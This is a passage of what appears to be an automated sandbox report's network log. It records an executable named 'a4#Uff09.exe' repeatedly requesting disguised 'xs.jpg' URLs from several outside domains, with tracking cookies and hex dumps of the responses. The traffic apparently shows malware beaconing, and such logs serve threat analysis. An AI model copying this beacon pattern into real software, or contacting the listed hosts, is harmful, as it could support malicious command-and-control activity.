                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159292|1720159210|3|19|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:36.765861988 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:36 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159296|1720159210|3|20|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          105192.168.2.74982278.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:36.822076082 CEST192OUTGET /xs.jpg?5640212f=1539369033 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:37.480711937 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:37 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          106192.168.2.74982337.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:37.575304031 CEST204OUTGET /images/xs2.jpg?58390002=436273170 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:38.300065994 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:38 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:01:38.304812908 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:38.528224945 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:38 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:38 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          107192.168.2.74982454.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:38.796773911 CEST312OUTGET /images/xs.jpg?5b06aaf8=-1908232784 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159295|1720159208|4|20|0
                                                          Jul 5, 2024 08:01:39.531889915 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:39 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159299|1720159208|4|21|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          108192.168.2.74982544.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:39.674041033 CEST302OUTGET /xs.jpg?5cf0e727=1559291687 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159296|1720159209|4|20|0
                                                          Jul 5, 2024 08:01:40.258068085 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:40 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159300|1720159209|4|21|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          109192.168.2.74982644.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:40.301378965 CEST304OUTGET /images/xs.jpg?5e1194d3=879328498 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159296|1720159210|3|20|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:40.788590908 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:40 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159300|1720159210|3|21|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          110192.168.2.74982778.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:40.799273968 CEST193OUTGET /xs.jpg?6a6910d4=-1448852656 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:41.460099936 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:41 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          111192.168.2.74982837.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:41.509392023 CEST203OUTGET /images/xs2.jpg?71e23396=15978566 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:42.238672018 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:42 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:01:42.243999958 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:42.468303919 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:42 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:42 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          112192.168.2.74982954.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:42.706475973 CEST311OUTGET /images/xs.jpg?7bb4b600=1931354624 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159299|1720159208|4|21|0
                                                          Jul 5, 2024 08:01:43.445970058 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:43 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159303|1720159208|4|22|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          113192.168.2.74983044.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:43.459728956 CEST303OUTGET /xs.jpg?80fcb0d0=-2031561296 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159300|1720159209|4|21|0
                                                          Jul 5, 2024 08:01:43.975248098 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:43 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159303|1720159209|3|22|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          114192.168.2.74983144.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:44.814570904 CEST306OUTGET /images/xs.jpg?84b622e8=-2068438296 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159300|1720159210|3|21|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:45.317047119 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:45 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159305|1720159210|4|22|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          115192.168.2.74983278.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:45.329233885 CEST191OUTGET /xs.jpg?873c5f9c=728382888 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:45.987994909 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:45 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          116192.168.2.74983337.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:46.114758968 CEST205OUTGET /images/xs2.jpg?8ab49f65=-890217533 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:46.837493896 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:46 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
